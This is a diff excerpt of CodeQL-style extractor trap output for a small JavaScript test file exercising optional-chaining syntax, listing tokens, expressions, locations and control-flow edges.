tokeninfo(#20119,8,#20001,25,"&&")
|
||||
#20120=@"loc,{#10000},7,10,7,11"
|
||||
locations_default(#20120,#10000,7,10,7,11)
|
||||
hasLocation(#20119,#20120)
|
||||
#20121=*
|
||||
tokeninfo(#20121,6,#20001,26,"z5")
|
||||
hasLocation(#20121,#20071)
|
||||
#20122=*
|
||||
tokeninfo(#20122,8,#20001,27,";")
|
||||
#20123=@"loc,{#10000},7,15,7,15"
|
||||
locations_default(#20123,#10000,7,15,7,15)
|
||||
hasLocation(#20122,#20123)
|
||||
#20124=*
|
||||
tokeninfo(#20124,0,#20001,28,"")
|
||||
#20125=@"loc,{#10000},7,16,7,15"
|
||||
locations_default(#20125,#10000,7,16,7,15)
|
||||
hasLocation(#20124,#20125)
|
||||
#20126=*
|
||||
entry_cfg_node(#20126,#20001)
|
||||
#20127=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20127,#10000,1,1,1,0)
|
||||
hasLocation(#20126,#20127)
|
||||
#20128=*
|
||||
exit_cfg_node(#20128,#20001)
|
||||
hasLocation(#20128,#20125)
|
||||
successor(#20058,#20060)
|
||||
successor(#20060,#20062)
|
||||
successor(#20062,#20065)
|
||||
successor(#20062,#20128)
|
||||
successor(#20065,#20067)
|
||||
#20129=*
|
||||
guard_node(#20129,1,#20067)
|
||||
hasLocation(#20129,#20068)
|
||||
successor(#20129,#20070)
|
||||
#20130=*
|
||||
guard_node(#20130,0,#20067)
|
||||
hasLocation(#20130,#20068)
|
||||
successor(#20130,#20128)
|
||||
successor(#20067,#20129)
|
||||
successor(#20067,#20130)
|
||||
successor(#20070,#20128)
|
||||
successor(#20043,#20045)
|
||||
successor(#20045,#20047)
|
||||
successor(#20047,#20049)
|
||||
#20131=*
|
||||
guard_node(#20131,1,#20049)
|
||||
hasLocation(#20131,#20050)
|
||||
successor(#20131,#20052)
|
||||
#20132=*
|
||||
guard_node(#20132,0,#20049)
|
||||
hasLocation(#20132,#20050)
|
||||
successor(#20132,#20055)
|
||||
successor(#20132,#20058)
|
||||
successor(#20049,#20131)
|
||||
successor(#20049,#20132)
|
||||
successor(#20052,#20055)
|
||||
successor(#20052,#20058)
|
||||
successor(#20055,#20058)
|
||||
successor(#20028,#20030)
|
||||
successor(#20030,#20032)
|
||||
successor(#20032,#20034)
|
||||
successor(#20034,#20037)
|
||||
successor(#20034,#20043)
|
||||
successor(#20034,#20040)
|
||||
#20133=*
|
||||
guard_node(#20133,1,#20037)
|
||||
hasLocation(#20133,#20038)
|
||||
successor(#20133,#20043)
|
||||
#20134=*
|
||||
guard_node(#20134,0,#20037)
|
||||
hasLocation(#20134,#20038)
|
||||
successor(#20134,#20040)
|
||||
successor(#20037,#20133)
|
||||
successor(#20037,#20134)
|
||||
successor(#20040,#20043)
|
||||
successor(#20013,#20015)
|
||||
successor(#20015,#20017)
|
||||
successor(#20017,#20019)
|
||||
#20135=*
|
||||
guard_node(#20135,1,#20019)
|
||||
hasLocation(#20135,#20020)
|
||||
successor(#20135,#20025)
|
||||
successor(#20135,#20028)
|
||||
#20136=*
|
||||
guard_node(#20136,0,#20019)
|
||||
hasLocation(#20136,#20020)
|
||||
successor(#20136,#20022)
|
||||
successor(#20019,#20135)
|
||||
successor(#20019,#20136)
|
||||
successor(#20022,#20025)
|
||||
successor(#20022,#20028)
|
||||
successor(#20025,#20028)
|
||||
successor(#20003,#20005)
|
||||
successor(#20005,#20007)
|
||||
successor(#20007,#20010)
|
||||
successor(#20007,#20013)
|
||||
successor(#20010,#20013)
|
||||
successor(#20126,#20003)
|
||||
numlines(#10000,7,5,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,655 @@
|
||||
#10000=@"/optional-chaining.js;sourcefile"
|
||||
files(#10000,"/optional-chaining.js","optional-chaining","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,13,11"
|
||||
locations_default(#20002,#10000,1,1,13,11)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=*
|
||||
stmts(#20003,2,#20001,0,"a1?.b1;")
|
||||
#20004=@"loc,{#10000},1,1,1,7"
|
||||
locations_default(#20004,#10000,1,1,1,7)
|
||||
hasLocation(#20003,#20004)
|
||||
stmtContainers(#20003,#20001)
|
||||
#20005=*
|
||||
exprs(#20005,14,#20003,0,"a1?.b1")
|
||||
#20006=@"loc,{#10000},1,1,1,6"
|
||||
locations_default(#20006,#10000,1,1,1,6)
|
||||
hasLocation(#20005,#20006)
|
||||
enclosingStmt(#20005,#20003)
|
||||
exprContainers(#20005,#20001)
|
||||
#20007=*
|
||||
exprs(#20007,79,#20005,0,"a1")
|
||||
#20008=@"loc,{#10000},1,1,1,2"
|
||||
locations_default(#20008,#10000,1,1,1,2)
|
||||
hasLocation(#20007,#20008)
|
||||
enclosingStmt(#20007,#20003)
|
||||
exprContainers(#20007,#20001)
|
||||
literals("a1","a1",#20007)
|
||||
#20009=@"var;{a1};{#20000}"
|
||||
variables(#20009,"a1",#20000)
|
||||
bind(#20007,#20009)
|
||||
#20010=*
|
||||
exprs(#20010,0,#20005,1,"b1")
|
||||
#20011=@"loc,{#10000},1,5,1,6"
|
||||
locations_default(#20011,#10000,1,5,1,6)
|
||||
hasLocation(#20010,#20011)
|
||||
enclosingStmt(#20010,#20003)
|
||||
exprContainers(#20010,#20001)
|
||||
literals("b1","b1",#20010)
|
||||
isOptionalChaining(#20005)
|
||||
#20012=*
|
||||
stmts(#20012,2,#20001,1,"a2?.[x2];")
|
||||
#20013=@"loc,{#10000},3,1,3,9"
|
||||
locations_default(#20013,#10000,3,1,3,9)
|
||||
hasLocation(#20012,#20013)
|
||||
stmtContainers(#20012,#20001)
|
||||
#20014=*
|
||||
exprs(#20014,15,#20012,0,"a2?.[x2]")
|
||||
#20015=@"loc,{#10000},3,1,3,8"
|
||||
locations_default(#20015,#10000,3,1,3,8)
|
||||
hasLocation(#20014,#20015)
|
||||
enclosingStmt(#20014,#20012)
|
||||
exprContainers(#20014,#20001)
|
||||
#20016=*
|
||||
exprs(#20016,79,#20014,0,"a2")
|
||||
#20017=@"loc,{#10000},3,1,3,2"
|
||||
locations_default(#20017,#10000,3,1,3,2)
|
||||
hasLocation(#20016,#20017)
|
||||
enclosingStmt(#20016,#20012)
|
||||
exprContainers(#20016,#20001)
|
||||
literals("a2","a2",#20016)
|
||||
#20018=@"var;{a2};{#20000}"
|
||||
variables(#20018,"a2",#20000)
|
||||
bind(#20016,#20018)
|
||||
#20019=*
|
||||
exprs(#20019,79,#20014,1,"x2")
|
||||
#20020=@"loc,{#10000},3,6,3,7"
|
||||
locations_default(#20020,#10000,3,6,3,7)
|
||||
hasLocation(#20019,#20020)
|
||||
enclosingStmt(#20019,#20012)
|
||||
exprContainers(#20019,#20001)
|
||||
literals("x2","x2",#20019)
|
||||
#20021=@"var;{x2};{#20000}"
|
||||
variables(#20021,"x2",#20000)
|
||||
bind(#20019,#20021)
|
||||
isOptionalChaining(#20014)
|
||||
#20022=*
|
||||
stmts(#20022,2,#20001,2,"a3?.b3();")
|
||||
#20023=@"loc,{#10000},5,1,5,9"
|
||||
locations_default(#20023,#10000,5,1,5,9)
|
||||
hasLocation(#20022,#20023)
|
||||
stmtContainers(#20022,#20001)
|
||||
#20024=*
|
||||
exprs(#20024,13,#20022,0,"a3?.b3()")
|
||||
#20025=@"loc,{#10000},5,1,5,8"
|
||||
locations_default(#20025,#10000,5,1,5,8)
|
||||
hasLocation(#20024,#20025)
|
||||
enclosingStmt(#20024,#20022)
|
||||
exprContainers(#20024,#20001)
|
||||
#20026=*
|
||||
exprs(#20026,14,#20024,-1,"a3?.b3")
|
||||
#20027=@"loc,{#10000},5,1,5,6"
|
||||
locations_default(#20027,#10000,5,1,5,6)
|
||||
hasLocation(#20026,#20027)
|
||||
enclosingStmt(#20026,#20022)
|
||||
exprContainers(#20026,#20001)
|
||||
#20028=*
|
||||
exprs(#20028,79,#20026,0,"a3")
|
||||
#20029=@"loc,{#10000},5,1,5,2"
|
||||
locations_default(#20029,#10000,5,1,5,2)
|
||||
hasLocation(#20028,#20029)
|
||||
enclosingStmt(#20028,#20022)
|
||||
exprContainers(#20028,#20001)
|
||||
literals("a3","a3",#20028)
|
||||
#20030=@"var;{a3};{#20000}"
|
||||
variables(#20030,"a3",#20000)
|
||||
bind(#20028,#20030)
|
||||
#20031=*
|
||||
exprs(#20031,0,#20026,1,"b3")
|
||||
#20032=@"loc,{#10000},5,5,5,6"
|
||||
locations_default(#20032,#10000,5,5,5,6)
|
||||
hasLocation(#20031,#20032)
|
||||
enclosingStmt(#20031,#20022)
|
||||
exprContainers(#20031,#20001)
|
||||
literals("b3","b3",#20031)
|
||||
isOptionalChaining(#20026)
|
||||
#20033=*
|
||||
stmts(#20033,2,#20001,3,"a4?.();")
|
||||
#20034=@"loc,{#10000},7,1,7,7"
|
||||
locations_default(#20034,#10000,7,1,7,7)
|
||||
hasLocation(#20033,#20034)
|
||||
stmtContainers(#20033,#20001)
|
||||
#20035=*
|
||||
exprs(#20035,13,#20033,0,"a4?.()")
|
||||
#20036=@"loc,{#10000},7,1,7,6"
|
||||
locations_default(#20036,#10000,7,1,7,6)
|
||||
hasLocation(#20035,#20036)
|
||||
enclosingStmt(#20035,#20033)
|
||||
exprContainers(#20035,#20001)
|
||||
#20037=*
|
||||
exprs(#20037,79,#20035,-1,"a4")
|
||||
#20038=@"loc,{#10000},7,1,7,2"
|
||||
locations_default(#20038,#10000,7,1,7,2)
|
||||
hasLocation(#20037,#20038)
|
||||
enclosingStmt(#20037,#20033)
|
||||
exprContainers(#20037,#20001)
|
||||
literals("a4","a4",#20037)
|
||||
#20039=@"var;{a4};{#20000}"
|
||||
variables(#20039,"a4",#20000)
|
||||
bind(#20037,#20039)
|
||||
isOptionalChaining(#20035)
|
||||
#20040=*
|
||||
stmts(#20040,2,#20001,4,"o5?.3:2;")
|
||||
#20041=@"loc,{#10000},9,1,9,8"
|
||||
locations_default(#20041,#10000,9,1,9,8)
|
||||
hasLocation(#20040,#20041)
|
||||
stmtContainers(#20040,#20001)
|
||||
#20042=*
|
||||
exprs(#20042,11,#20040,0,"o5?.3:2")
|
||||
#20043=@"loc,{#10000},9,1,9,7"
|
||||
locations_default(#20043,#10000,9,1,9,7)
|
||||
hasLocation(#20042,#20043)
|
||||
enclosingStmt(#20042,#20040)
|
||||
exprContainers(#20042,#20001)
|
||||
#20044=*
|
||||
exprs(#20044,79,#20042,0,"o5")
|
||||
#20045=@"loc,{#10000},9,1,9,2"
|
||||
locations_default(#20045,#10000,9,1,9,2)
|
||||
hasLocation(#20044,#20045)
|
||||
enclosingStmt(#20044,#20040)
|
||||
exprContainers(#20044,#20001)
|
||||
literals("o5","o5",#20044)
|
||||
#20046=@"var;{o5};{#20000}"
|
||||
variables(#20046,"o5",#20000)
|
||||
bind(#20044,#20046)
|
||||
#20047=*
|
||||
exprs(#20047,3,#20042,1,".3")
|
||||
#20048=@"loc,{#10000},9,4,9,5"
|
||||
locations_default(#20048,#10000,9,4,9,5)
|
||||
hasLocation(#20047,#20048)
|
||||
enclosingStmt(#20047,#20040)
|
||||
exprContainers(#20047,#20001)
|
||||
literals("0.3",".3",#20047)
|
||||
#20049=*
|
||||
exprs(#20049,3,#20042,2,"2")
|
||||
#20050=@"loc,{#10000},9,7,9,7"
|
||||
locations_default(#20050,#10000,9,7,9,7)
|
||||
hasLocation(#20049,#20050)
|
||||
enclosingStmt(#20049,#20040)
|
||||
exprContainers(#20049,#20001)
|
||||
literals("2","2",#20049)
|
||||
#20051=*
|
||||
stmts(#20051,2,#20001,5,"a6?.b6[ ... y6).d6;")
|
||||
#20052=@"loc,{#10000},11,1,11,23"
|
||||
locations_default(#20052,#10000,11,1,11,23)
|
||||
hasLocation(#20051,#20052)
|
||||
stmtContainers(#20051,#20001)
|
||||
#20053=*
|
||||
exprs(#20053,14,#20051,0,"a6?.b6[ ... (y6).d6")
|
||||
#20054=@"loc,{#10000},11,1,11,22"
|
||||
locations_default(#20054,#10000,11,1,11,22)
|
||||
hasLocation(#20053,#20054)
|
||||
enclosingStmt(#20053,#20051)
|
||||
exprContainers(#20053,#20001)
|
||||
#20055=*
|
||||
exprs(#20055,13,#20053,0,"a6?.b6[x6].c6?.(y6)")
|
||||
#20056=@"loc,{#10000},11,1,11,19"
|
||||
locations_default(#20056,#10000,11,1,11,19)
|
||||
hasLocation(#20055,#20056)
|
||||
enclosingStmt(#20055,#20051)
|
||||
exprContainers(#20055,#20001)
|
||||
#20057=*
|
||||
exprs(#20057,14,#20055,-1,"a6?.b6[x6].c6")
|
||||
#20058=@"loc,{#10000},11,1,11,13"
|
||||
locations_default(#20058,#10000,11,1,11,13)
|
||||
hasLocation(#20057,#20058)
|
||||
enclosingStmt(#20057,#20051)
|
||||
exprContainers(#20057,#20001)
|
||||
#20059=*
|
||||
exprs(#20059,15,#20057,0,"a6?.b6[x6]")
|
||||
#20060=@"loc,{#10000},11,1,11,10"
|
||||
locations_default(#20060,#10000,11,1,11,10)
|
||||
hasLocation(#20059,#20060)
|
||||
enclosingStmt(#20059,#20051)
|
||||
exprContainers(#20059,#20001)
|
||||
#20061=*
|
||||
exprs(#20061,14,#20059,0,"a6?.b6")
|
||||
#20062=@"loc,{#10000},11,1,11,6"
|
||||
locations_default(#20062,#10000,11,1,11,6)
|
||||
hasLocation(#20061,#20062)
|
||||
enclosingStmt(#20061,#20051)
|
||||
exprContainers(#20061,#20001)
|
||||
#20063=*
|
||||
exprs(#20063,79,#20061,0,"a6")
|
||||
#20064=@"loc,{#10000},11,1,11,2"
|
||||
locations_default(#20064,#10000,11,1,11,2)
|
||||
hasLocation(#20063,#20064)
|
||||
enclosingStmt(#20063,#20051)
|
||||
exprContainers(#20063,#20001)
|
||||
literals("a6","a6",#20063)
|
||||
#20065=@"var;{a6};{#20000}"
|
||||
variables(#20065,"a6",#20000)
|
||||
bind(#20063,#20065)
|
||||
#20066=*
|
||||
exprs(#20066,0,#20061,1,"b6")
|
||||
#20067=@"loc,{#10000},11,5,11,6"
|
||||
locations_default(#20067,#10000,11,5,11,6)
|
||||
hasLocation(#20066,#20067)
|
||||
enclosingStmt(#20066,#20051)
|
||||
exprContainers(#20066,#20001)
|
||||
literals("b6","b6",#20066)
|
||||
isOptionalChaining(#20061)
|
||||
#20068=*
|
||||
exprs(#20068,79,#20059,1,"x6")
|
||||
#20069=@"loc,{#10000},11,8,11,9"
|
||||
locations_default(#20069,#10000,11,8,11,9)
|
||||
hasLocation(#20068,#20069)
|
||||
enclosingStmt(#20068,#20051)
|
||||
exprContainers(#20068,#20001)
|
||||
literals("x6","x6",#20068)
|
||||
#20070=@"var;{x6};{#20000}"
|
||||
variables(#20070,"x6",#20000)
|
||||
bind(#20068,#20070)
|
||||
#20071=*
|
||||
exprs(#20071,0,#20057,1,"c6")
|
||||
#20072=@"loc,{#10000},11,12,11,13"
|
||||
locations_default(#20072,#10000,11,12,11,13)
|
||||
hasLocation(#20071,#20072)
|
||||
enclosingStmt(#20071,#20051)
|
||||
exprContainers(#20071,#20001)
|
||||
literals("c6","c6",#20071)
|
||||
#20073=*
|
||||
exprs(#20073,79,#20055,0,"y6")
|
||||
#20074=@"loc,{#10000},11,17,11,18"
|
||||
locations_default(#20074,#10000,11,17,11,18)
|
||||
hasLocation(#20073,#20074)
|
||||
enclosingStmt(#20073,#20051)
|
||||
exprContainers(#20073,#20001)
|
||||
literals("y6","y6",#20073)
|
||||
#20075=@"var;{y6};{#20000}"
|
||||
variables(#20075,"y6",#20000)
|
||||
bind(#20073,#20075)
|
||||
isOptionalChaining(#20055)
|
||||
#20076=*
|
||||
exprs(#20076,0,#20053,1,"d6")
|
||||
#20077=@"loc,{#10000},11,21,11,22"
|
||||
locations_default(#20077,#10000,11,21,11,22)
|
||||
hasLocation(#20076,#20077)
|
||||
enclosingStmt(#20076,#20051)
|
||||
exprContainers(#20076,#20001)
|
||||
literals("d6","d6",#20076)
|
||||
#20078=*
|
||||
stmts(#20078,2,#20001,6,"delete a?.b")
|
||||
#20079=@"loc,{#10000},13,1,13,11"
|
||||
locations_default(#20079,#10000,13,1,13,11)
|
||||
hasLocation(#20078,#20079)
|
||||
stmtContainers(#20078,#20001)
|
||||
#20080=*
|
||||
exprs(#20080,22,#20078,0,"delete a?.b")
|
||||
hasLocation(#20080,#20079)
|
||||
enclosingStmt(#20080,#20078)
|
||||
exprContainers(#20080,#20001)
|
||||
#20081=*
|
||||
exprs(#20081,14,#20080,0,"a?.b")
|
||||
#20082=@"loc,{#10000},13,8,13,11"
|
||||
locations_default(#20082,#10000,13,8,13,11)
|
||||
hasLocation(#20081,#20082)
|
||||
enclosingStmt(#20081,#20078)
|
||||
exprContainers(#20081,#20001)
|
||||
#20083=*
|
||||
exprs(#20083,79,#20081,0,"a")
|
||||
#20084=@"loc,{#10000},13,8,13,8"
|
||||
locations_default(#20084,#10000,13,8,13,8)
|
||||
hasLocation(#20083,#20084)
|
||||
enclosingStmt(#20083,#20078)
|
||||
exprContainers(#20083,#20001)
|
||||
literals("a","a",#20083)
|
||||
#20085=@"var;{a};{#20000}"
|
||||
variables(#20085,"a",#20000)
|
||||
bind(#20083,#20085)
|
||||
#20086=*
|
||||
exprs(#20086,0,#20081,1,"b")
|
||||
#20087=@"loc,{#10000},13,11,13,11"
|
||||
locations_default(#20087,#10000,13,11,13,11)
|
||||
hasLocation(#20086,#20087)
|
||||
enclosingStmt(#20086,#20078)
|
||||
exprContainers(#20086,#20001)
|
||||
literals("b","b",#20086)
|
||||
isOptionalChaining(#20081)
|
||||
#20088=*
|
||||
lines(#20088,#20001,"a1?.b1;","
|
||||
")
|
||||
hasLocation(#20088,#20004)
|
||||
#20089=*
|
||||
lines(#20089,#20001,"","
|
||||
")
|
||||
#20090=@"loc,{#10000},2,1,2,0"
|
||||
locations_default(#20090,#10000,2,1,2,0)
|
||||
hasLocation(#20089,#20090)
|
||||
#20091=*
|
||||
lines(#20091,#20001,"a2?.[x2];","
|
||||
")
|
||||
hasLocation(#20091,#20013)
|
||||
#20092=*
|
||||
lines(#20092,#20001,"","
|
||||
")
|
||||
#20093=@"loc,{#10000},4,1,4,0"
|
||||
locations_default(#20093,#10000,4,1,4,0)
|
||||
hasLocation(#20092,#20093)
|
||||
#20094=*
|
||||
lines(#20094,#20001,"a3?.b3();","
|
||||
")
|
||||
hasLocation(#20094,#20023)
|
||||
#20095=*
|
||||
lines(#20095,#20001,"","
|
||||
")
|
||||
#20096=@"loc,{#10000},6,1,6,0"
|
||||
locations_default(#20096,#10000,6,1,6,0)
|
||||
hasLocation(#20095,#20096)
|
||||
#20097=*
|
||||
lines(#20097,#20001,"a4?.();","
|
||||
")
|
||||
hasLocation(#20097,#20034)
|
||||
#20098=*
|
||||
lines(#20098,#20001,"","
|
||||
")
|
||||
#20099=@"loc,{#10000},8,1,8,0"
|
||||
locations_default(#20099,#10000,8,1,8,0)
|
||||
hasLocation(#20098,#20099)
|
||||
#20100=*
|
||||
lines(#20100,#20001,"o5?.3:2;","
|
||||
")
|
||||
hasLocation(#20100,#20041)
|
||||
#20101=*
|
||||
lines(#20101,#20001,"","
|
||||
")
|
||||
#20102=@"loc,{#10000},10,1,10,0"
|
||||
locations_default(#20102,#10000,10,1,10,0)
|
||||
hasLocation(#20101,#20102)
|
||||
#20103=*
|
||||
lines(#20103,#20001,"a6?.b6[x6].c6?.(y6).d6;","
|
||||
")
|
||||
hasLocation(#20103,#20052)
|
||||
#20104=*
|
||||
lines(#20104,#20001,"","
|
||||
")
|
||||
#20105=@"loc,{#10000},12,1,12,0"
|
||||
locations_default(#20105,#10000,12,1,12,0)
|
||||
hasLocation(#20104,#20105)
|
||||
#20106=*
|
||||
lines(#20106,#20001,"delete a?.b","")
|
||||
hasLocation(#20106,#20079)
|
||||
numlines(#20001,13,7,0)
|
||||
#20107=*
|
||||
tokeninfo(#20107,6,#20001,0,"a1")
|
||||
hasLocation(#20107,#20008)
|
||||
#20108=*
|
||||
tokeninfo(#20108,8,#20001,1,"?.")
|
||||
#20109=@"loc,{#10000},1,3,1,4"
|
||||
locations_default(#20109,#10000,1,3,1,4)
|
||||
hasLocation(#20108,#20109)
|
||||
#20110=*
|
||||
tokeninfo(#20110,6,#20001,2,"b1")
|
||||
hasLocation(#20110,#20011)
|
||||
#20111=*
|
||||
tokeninfo(#20111,8,#20001,3,";")
|
||||
#20112=@"loc,{#10000},1,7,1,7"
|
||||
locations_default(#20112,#10000,1,7,1,7)
|
||||
hasLocation(#20111,#20112)
|
||||
#20113=*
|
||||
tokeninfo(#20113,6,#20001,4,"a2")
|
||||
hasLocation(#20113,#20017)
|
||||
#20114=*
|
||||
tokeninfo(#20114,8,#20001,5,"?.")
|
||||
#20115=@"loc,{#10000},3,3,3,4"
|
||||
locations_default(#20115,#10000,3,3,3,4)
|
||||
hasLocation(#20114,#20115)
|
||||
#20116=*
|
||||
tokeninfo(#20116,8,#20001,6,"[")
|
||||
#20117=@"loc,{#10000},3,5,3,5"
|
||||
locations_default(#20117,#10000,3,5,3,5)
|
||||
hasLocation(#20116,#20117)
|
||||
#20118=*
|
||||
tokeninfo(#20118,6,#20001,7,"x2")
|
||||
hasLocation(#20118,#20020)
|
||||
#20119=*
|
||||
tokeninfo(#20119,8,#20001,8,"]")
|
||||
#20120=@"loc,{#10000},3,8,3,8"
|
||||
locations_default(#20120,#10000,3,8,3,8)
|
||||
hasLocation(#20119,#20120)
|
||||
#20121=*
|
||||
tokeninfo(#20121,8,#20001,9,";")
|
||||
#20122=@"loc,{#10000},3,9,3,9"
|
||||
locations_default(#20122,#10000,3,9,3,9)
|
||||
hasLocation(#20121,#20122)
|
||||
#20123=*
|
||||
tokeninfo(#20123,6,#20001,10,"a3")
|
||||
hasLocation(#20123,#20029)
|
||||
#20124=*
|
||||
tokeninfo(#20124,8,#20001,11,"?.")
|
||||
#20125=@"loc,{#10000},5,3,5,4"
|
||||
locations_default(#20125,#10000,5,3,5,4)
|
||||
hasLocation(#20124,#20125)
|
||||
#20126=*
|
||||
tokeninfo(#20126,6,#20001,12,"b3")
|
||||
hasLocation(#20126,#20032)
|
||||
#20127=*
|
||||
tokeninfo(#20127,8,#20001,13,"(")
|
||||
#20128=@"loc,{#10000},5,7,5,7"
|
||||
locations_default(#20128,#10000,5,7,5,7)
|
||||
hasLocation(#20127,#20128)
|
||||
#20129=*
|
||||
tokeninfo(#20129,8,#20001,14,")")
|
||||
#20130=@"loc,{#10000},5,8,5,8"
|
||||
locations_default(#20130,#10000,5,8,5,8)
|
||||
hasLocation(#20129,#20130)
|
||||
#20131=*
|
||||
tokeninfo(#20131,8,#20001,15,";")
|
||||
#20132=@"loc,{#10000},5,9,5,9"
|
||||
locations_default(#20132,#10000,5,9,5,9)
|
||||
hasLocation(#20131,#20132)
|
||||
#20133=*
|
||||
tokeninfo(#20133,6,#20001,16,"a4")
|
||||
hasLocation(#20133,#20038)
|
||||
#20134=*
|
||||
tokeninfo(#20134,8,#20001,17,"?.")
|
||||
#20135=@"loc,{#10000},7,3,7,4"
|
||||
locations_default(#20135,#10000,7,3,7,4)
|
||||
hasLocation(#20134,#20135)
|
||||
#20136=*
|
||||
tokeninfo(#20136,8,#20001,18,"(")
|
||||
#20137=@"loc,{#10000},7,5,7,5"
|
||||
locations_default(#20137,#10000,7,5,7,5)
|
||||
hasLocation(#20136,#20137)
|
||||
#20138=*
|
||||
tokeninfo(#20138,8,#20001,19,")")
|
||||
#20139=@"loc,{#10000},7,6,7,6"
|
||||
locations_default(#20139,#10000,7,6,7,6)
|
||||
hasLocation(#20138,#20139)
|
||||
#20140=*
|
||||
tokeninfo(#20140,8,#20001,20,";")
|
||||
#20141=@"loc,{#10000},7,7,7,7"
|
||||
locations_default(#20141,#10000,7,7,7,7)
|
||||
hasLocation(#20140,#20141)
|
||||
#20142=*
|
||||
tokeninfo(#20142,6,#20001,21,"o5")
|
||||
hasLocation(#20142,#20045)
|
||||
#20143=*
|
||||
tokeninfo(#20143,8,#20001,22,"?")
|
||||
#20144=@"loc,{#10000},9,3,9,3"
|
||||
locations_default(#20144,#10000,9,3,9,3)
|
||||
hasLocation(#20143,#20144)
|
||||
#20145=*
|
||||
tokeninfo(#20145,3,#20001,23,".3")
|
||||
hasLocation(#20145,#20048)
|
||||
#20146=*
|
||||
tokeninfo(#20146,8,#20001,24,":")
|
||||
#20147=@"loc,{#10000},9,6,9,6"
|
||||
locations_default(#20147,#10000,9,6,9,6)
|
||||
hasLocation(#20146,#20147)
|
||||
#20148=*
|
||||
tokeninfo(#20148,3,#20001,25,"2")
|
||||
hasLocation(#20148,#20050)
|
||||
#20149=*
|
||||
tokeninfo(#20149,8,#20001,26,";")
|
||||
#20150=@"loc,{#10000},9,8,9,8"
|
||||
locations_default(#20150,#10000,9,8,9,8)
|
||||
hasLocation(#20149,#20150)
|
||||
#20151=*
|
||||
tokeninfo(#20151,6,#20001,27,"a6")
|
||||
hasLocation(#20151,#20064)
|
||||
#20152=*
|
||||
tokeninfo(#20152,8,#20001,28,"?.")
|
||||
#20153=@"loc,{#10000},11,3,11,4"
|
||||
locations_default(#20153,#10000,11,3,11,4)
|
||||
hasLocation(#20152,#20153)
|
||||
#20154=*
|
||||
tokeninfo(#20154,6,#20001,29,"b6")
|
||||
hasLocation(#20154,#20067)
|
||||
#20155=*
|
||||
tokeninfo(#20155,8,#20001,30,"[")
|
||||
#20156=@"loc,{#10000},11,7,11,7"
|
||||
locations_default(#20156,#10000,11,7,11,7)
|
||||
hasLocation(#20155,#20156)
|
||||
#20157=*
|
||||
tokeninfo(#20157,6,#20001,31,"x6")
|
||||
hasLocation(#20157,#20069)
|
||||
#20158=*
|
||||
tokeninfo(#20158,8,#20001,32,"]")
|
||||
#20159=@"loc,{#10000},11,10,11,10"
|
||||
locations_default(#20159,#10000,11,10,11,10)
|
||||
hasLocation(#20158,#20159)
|
||||
#20160=*
|
||||
tokeninfo(#20160,8,#20001,33,".")
|
||||
#20161=@"loc,{#10000},11,11,11,11"
|
||||
locations_default(#20161,#10000,11,11,11,11)
|
||||
hasLocation(#20160,#20161)
|
||||
#20162=*
|
||||
tokeninfo(#20162,6,#20001,34,"c6")
|
||||
hasLocation(#20162,#20072)
|
||||
#20163=*
|
||||
tokeninfo(#20163,8,#20001,35,"?.")
|
||||
#20164=@"loc,{#10000},11,14,11,15"
|
||||
locations_default(#20164,#10000,11,14,11,15)
|
||||
hasLocation(#20163,#20164)
|
||||
#20165=*
|
||||
tokeninfo(#20165,8,#20001,36,"(")
|
||||
#20166=@"loc,{#10000},11,16,11,16"
|
||||
locations_default(#20166,#10000,11,16,11,16)
|
||||
hasLocation(#20165,#20166)
|
||||
#20167=*
|
||||
tokeninfo(#20167,6,#20001,37,"y6")
|
||||
hasLocation(#20167,#20074)
|
||||
#20168=*
|
||||
tokeninfo(#20168,8,#20001,38,")")
|
||||
#20169=@"loc,{#10000},11,19,11,19"
|
||||
locations_default(#20169,#10000,11,19,11,19)
|
||||
hasLocation(#20168,#20169)
|
||||
#20170=*
|
||||
tokeninfo(#20170,8,#20001,39,".")
|
||||
#20171=@"loc,{#10000},11,20,11,20"
|
||||
locations_default(#20171,#10000,11,20,11,20)
|
||||
hasLocation(#20170,#20171)
|
||||
#20172=*
|
||||
tokeninfo(#20172,6,#20001,40,"d6")
|
||||
hasLocation(#20172,#20077)
|
||||
#20173=*
|
||||
tokeninfo(#20173,8,#20001,41,";")
|
||||
#20174=@"loc,{#10000},11,23,11,23"
|
||||
locations_default(#20174,#10000,11,23,11,23)
|
||||
hasLocation(#20173,#20174)
|
||||
#20175=*
|
||||
tokeninfo(#20175,7,#20001,42,"delete")
|
||||
#20176=@"loc,{#10000},13,1,13,6"
|
||||
locations_default(#20176,#10000,13,1,13,6)
|
||||
hasLocation(#20175,#20176)
|
||||
#20177=*
|
||||
tokeninfo(#20177,6,#20001,43,"a")
|
||||
hasLocation(#20177,#20084)
|
||||
#20178=*
|
||||
tokeninfo(#20178,8,#20001,44,"?.")
|
||||
#20179=@"loc,{#10000},13,9,13,10"
|
||||
locations_default(#20179,#10000,13,9,13,10)
|
||||
hasLocation(#20178,#20179)
|
||||
#20180=*
|
||||
tokeninfo(#20180,6,#20001,45,"b")
|
||||
hasLocation(#20180,#20087)
|
||||
#20181=*
|
||||
tokeninfo(#20181,0,#20001,46,"")
|
||||
#20182=@"loc,{#10000},13,12,13,11"
|
||||
locations_default(#20182,#10000,13,12,13,11)
|
||||
hasLocation(#20181,#20182)
|
||||
#20183=*
|
||||
entry_cfg_node(#20183,#20001)
|
||||
#20184=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20184,#10000,1,1,1,0)
|
||||
hasLocation(#20183,#20184)
|
||||
#20185=*
|
||||
exit_cfg_node(#20185,#20001)
|
||||
hasLocation(#20185,#20182)
|
||||
successor(#20078,#20083)
|
||||
successor(#20086,#20081)
|
||||
successor(#20083,#20086)
|
||||
successor(#20081,#20080)
|
||||
successor(#20083,#20080)
|
||||
successor(#20080,#20185)
|
||||
successor(#20051,#20063)
|
||||
successor(#20076,#20053)
|
||||
successor(#20073,#20055)
|
||||
successor(#20071,#20057)
|
||||
successor(#20068,#20059)
|
||||
successor(#20066,#20061)
|
||||
successor(#20063,#20066)
|
||||
successor(#20061,#20068)
|
||||
